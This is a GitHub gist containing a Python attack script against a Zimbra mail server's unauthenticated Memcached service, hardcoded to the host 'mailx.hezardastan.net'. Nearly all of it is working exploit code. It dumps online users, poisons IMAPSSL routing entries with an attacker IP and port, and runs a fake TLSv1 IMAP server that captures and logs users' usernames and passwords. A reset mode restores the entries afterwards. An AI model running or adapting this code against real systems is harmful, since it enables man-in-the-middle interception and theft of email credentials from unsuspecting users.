Skip to content

Instantly share code, notes, and snippets.

@Voorivex
Created July 2, 2020 14:45
Show Gist options
  • Star 14 You must be signed in to star a gist
  • Fork 6 You must be signed in to fork a gist
  • Save Voorivex/fa0b2b27cc8caf412b842d1ebe3b8914 to your computer and use it in GitHub Desktop.
Save Voorivex/fa0b2b27cc8caf412b842d1ebe3b8914 to your computer and use it in GitHub Desktop.
#!/usr/bin/python
# -*- coding: utf-8 -*-
import ssl
import socket
import os
import sys
from argparse import ArgumentParser
from argparse import RawTextHelpFormatter
from threading import Thread
# ==========================================<MemcachedFunctions>===========================================================
def stats_slabs():
global MemcachedSock
MemcachedSock.sendall('stats slabs\r\n')
data = ''
while 1:
data += MemcachedSock.recv(4096)
if 'END' in data:
break
lines = data.split('\r\n')
slabs_num = []
for l in lines:
if ':chunk_size ' in l:
num = l.split('STAT ')[1].split(':c')[0]
if num != None:
slabs_num.append(num)
return slabs_num
def SetKeyValue(key, value):
global MemcachedSock
MemcachedSock.send('set ' + key + ' 0 0 ' + str(len(value)) + '\r\n'
)
MemcachedSock.send(value + '\r\n')
def GetKeyValue(key):
global MemcachedSock
MemcachedSock.send('get ' + key + '\r\n')
data = ''
while 1:
data += MemcachedSock.recv(4096)
if 'END' in data:
break
if 'ERROR' in data:
break
data = data.split('\r\n')
return str(data[1].strip())
def ExtractKeys():
global MemcachedSock
slabs_num = stats_slabs()
keys = []
for slab_id in slabs_num:
MemcachedSock.sendall('stats cachedump ' + slab_id + ' 0\r\n')
data = ''
while 1:
data += MemcachedSock.recv(4096)
if 'END' in data:
break
if 'ERROR' in data:
break
lines = data.split('\r\n')
for l in lines:
if 'ITEM route:' in l:
key = l.split('ITEM ')[1].split(' ')[0]
if key != None:
keys.append(key)
return keys
def ExtractOnlineUsers():
keys = ExtractKeys()
users = []
for k in keys:
user = ''
protocol = ''
protocol = k.split('route:proto=')[1].split(';')[0]
if ';user=' in k:
user = k.split(';user=')[1]
if ';id=' in k:
user = k.split(';id=')[1]
users.append((user, protocol))
return users
def ResetKeyValues():
keys = ExtractKeys()
for k in keys:
val = ''
if 'proto=imapssl' in k:
val = '127.0.0.1:7993'
if 'proto=pop3ssl' in k:
val = '127.0.0.1:7995'
if 'proto=httpssl' in k:
val = '127.0.0.1:8443'
SetKeyValue(k, val)
def CreateMemcachedSocket(ip, port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
return s
# ==========================================</MemcachedFunctions>==========================================================
# ==========================================<LoggingFunctions>=============================================================
def LogUsers():
users = ExtractOnlineUsers()
for user in users:
print user[1] + ':' + user[0]
Log('users.txt', user[1] + ':' + user[0])
print '\nOnline users were logged to users.txt file'
def Log(fname, data):
if os.path.exists(fname) == False:
f = open(fname, 'w')
f.write(data + '\n')
f.close()
else:
append = True
f = open(fname, 'r')
lines = f.readlines()
for l in lines:
if l.startswith(data):
append = False
break
if append:
f = open(fname, 'a')
f.write(str(data) + '\n')
f.close()
# ==========================================</LoggingFunctions>==========================================================
# ==========================================<IMAPFunctions>==============================================================
def ClientSocketHandler(S2C_Sock, addr=None):
method = 'AUTHENTICATE'
AUTH_Token = ''
try:
e = '\r\n'
ServerHello = \
'* OK mailx.hezardastan.net Zimbra IMAP4rev1 server ready'
print ServerHello
S2C_Sock.send(ServerHello + e)
ClientHello = S2C_Sock.recv(1024).strip()
ClientID = ClientHello.split(' ID ')[0]
print ClientHello
server_msg = \
'* ID ("NAME" "Zimbra" "VERSION" "8.8.12_GA_3803" "RELEASE" "20190410012803")\r\n'
server_msg += ClientID + ' OK ID completed'
S2C_Sock.send(server_msg + e)
print server_msg
client_msg = S2C_Sock.recv(1024).strip()
if 'LOGIN' in client_msg:
method = 'LOGIN'
print client_msg
server_msg = '+ send literal data'
S2C_Sock.send(server_msg + e)
print server_msg
client_msg = S2C_Sock.recv(1024).strip()
if method == 'LOGIN':
email_user = client_msg.split(' ')[0]
else:
AUTH_Token = client_msg
print client_msg
if method == 'LOGIN':
server_msg = '+ send literal data'
S2C_Sock.send(server_msg + e)
print server_msg
client_msg = S2C_Sock.recv(1024).strip()
password = client_msg
print client_msg
print ''
print 'Authentication information were extracted!'
print 'Closing connection...'
except:
print 'Connection timed out!'
# Be sure that the socket will be closed!
try:
S2C_Sock.shutdown(socket.SHUT_RDWR)
S2C_Sock.close()
except:
pass
print 'Connection closed'
if AUTH_Token != '':
print 'Extracting login credentials...'
AUTH_Token = AUTH_Token.decode('base64')
AUTH_Token = AUTH_Token.split('\x00')
email_user = AUTH_Token[1]
password = AUTH_Token[2]
print 'Done!'
print 'User: ' + email_user
print 'Password: ' + password
Log('credentials.txt', email_user + ':' + password)
def StartIMAPServer(port):
# context = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
context = ssl.SSLContext(ssl.PROTOCOL_TLSv1)
if (os.path.exists('server.crt') and os.path.exists('server.key')) \
== False:
print 'The script could not find SSL certificate and key files. Run this OpenSSL command to generate them:\n'
print 'openssl req -subj "/CN=domain.com/O=Yourname/C=US" -new -newkey rsa:4096 -sha256 -days 10000 -nodes -x509 -keyout server.key -out server.crt\n'
sys.exit()
context.load_cert_chain(certfile='server.crt', keyfile='server.key')
BindSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
BindSock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
try:
BindSock.bind(('', int(port)))
except:
print 'failed to bind port ' + str(port) + ': ' \
+ str(sys.exc_info())
sys.exit()
BindSock.listen(100)
print '''
Demo:
-------------------------------SSL-Handshakes------------------------------
Client Connected!
Client: TLS 1.3, Handshake [length 00bb], ClientHello
Server: Hmmm! Why not using recent versions of TLS?
error:14209102:SSL routines:tls_early_post_process_client_hello:unsupported protocol
Server: Ok,I downgrade it, Now protocol is TLSv1!
Server: TLS 1.0, Handshake [length 0045], ServerHello
-------------------------------IMAP-Protocol-------------------------------
Server: * OK mailx.hezardastan.net Zimbra IMAP4rev1 server ready
Client: 00000001 ID ("X-ORIGINATING-IP" ..."version" ...." "X-VIA" "....."
Server: 00000001 OK ID completed
Client: 00000001 AUTHENTICATE PLAIN
Server: + send literal data
Client: username_and_password
Server: Yuhahaha! I'm not mailx.hezardastan.net! I'm the man in the middle! You are pwned! :]
Server: Bye Bye!
Server closed the connection!
Client: :(
------------------------------------------------------------------------
'''
print 'Fake IMAPSSL server is listening on port ' + str(port) \
+ '...'
print 'Inject malicious cache items to Memcached server and wait for connections.'
print 'Press CTRL+C to stop.'
while True:
(NewSock, addr) = BindSock.accept()
S2C_Sock = context.wrap_socket(NewSock, server_side=True)
S2C_Sock.settimeout(100)
print 'Connection from ' + str(addr[0]) + ':' + str(addr[1]) \
+ ' received!'
Thread(target=ClientSocketHandler, args=(S2C_Sock,
addr)).start()
BindSock.close()
##==========================================</IMAPFunctions>==============================================================
# ===========================================<Main>========================================================================s
parser = ArgumentParser(description='test',
formatter_class=RawTextHelpFormatter)
parser.add_argument('-m', '--mode', dest='mode',
help="""(dumpusers/poisoning/mitm/reset)\r
\r
dumpusers Dump online users.\r
\r
poisoning Inject malicious Memcached items containing attacker's IP:PORT for MITM attacks.\r
It's possile to attack IMAPSSL,POP3SSL and HTTPS protocols\r
but this script supports IMAPSSL,so you can attack IMAPSSL clients.\r
\r
mitm Start IMAPSSL server to capture incomming SSL traffic and\r
extract credentials (MITM attack).\r
\r
reset Reset all Memcached values to the default after MITM attack.\r
\r
""")
parser.add_argument('-i', '--ip', dest='ip',
help='Attacker IP address for MITM attack(poisoning mode).'
)
parser.add_argument('-p', '--port', dest='port',
help='Attacker port for MITM attack(poisoning and mitm modes).'
)
parser.add_argument('-u', '--user', dest='user',
help='Target IMAPSSL user,"all" for targeting all IMAPSSL users(poisoning mode).'
)
(args, unknown) = parser.parse_known_args()
mode = args.mode
if mode == None or mode != 'dumpusers' and mode != 'poisoning' and mode \
!= 'mitm' and mode != 'reset':
parser.print_help()
exit(2)
MemcachedSock = None
if mode == 'dumpusers':
MemcachedSock = CreateMemcachedSocket('mailx.hezardastan.net',
11211)
LogUsers()
elif mode == 'poisoning':
user = args.user
if user == None:
print '--user option is required.'
exit(2)
ip = args.ip
if ip == None:
print '--ip option is required.'
exit(2)
port = args.port
if port == None:
print '--port option is required.'
exit(2)
MemcachedSock = CreateMemcachedSocket('mailx.hezardastan.net',
11211)
if user == 'all':
keys = ExtractKeys()
for k in keys:
if '=imapssl;' in k:
SetKeyValue(k, ip + ':' + str(port))
print 'Values of all IMAPSSL keys were changed to ' + ip + ':' \
+ str(port)
print 'Now use mitm mode or OpenSSL scripts to capture incomming traffic.'
else:
if GetKeyValue('route:proto=imapssl;user=' + user) == '':
print 'User does not exist or not using IMAPSSL,this script is coded for MITM attacks against IMAPSSL.'
exit(2)
SetKeyValue('route:proto=imapssl;user=' + user, ip + ':'
+ str(port))
print 'key route:proto=imapssl;user=' + user \
+ ' value was changed to ' + ip + ':' + str(port)
print 'Now use mitm mode or OpenSSL scripts to capture incomming traffic.'
elif mode == 'mitm':
port = args.port
if port == None:
print '--port option is required.'
exit(2)
StartIMAPServer(int(port))
elif mode == 'reset':
MemcachedSock = CreateMemcachedSocket('mailx.hezardastan.net',
11211)
ResetKeyValues()
print 'Done!'
# ==========================================</Main>=========================================================================
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment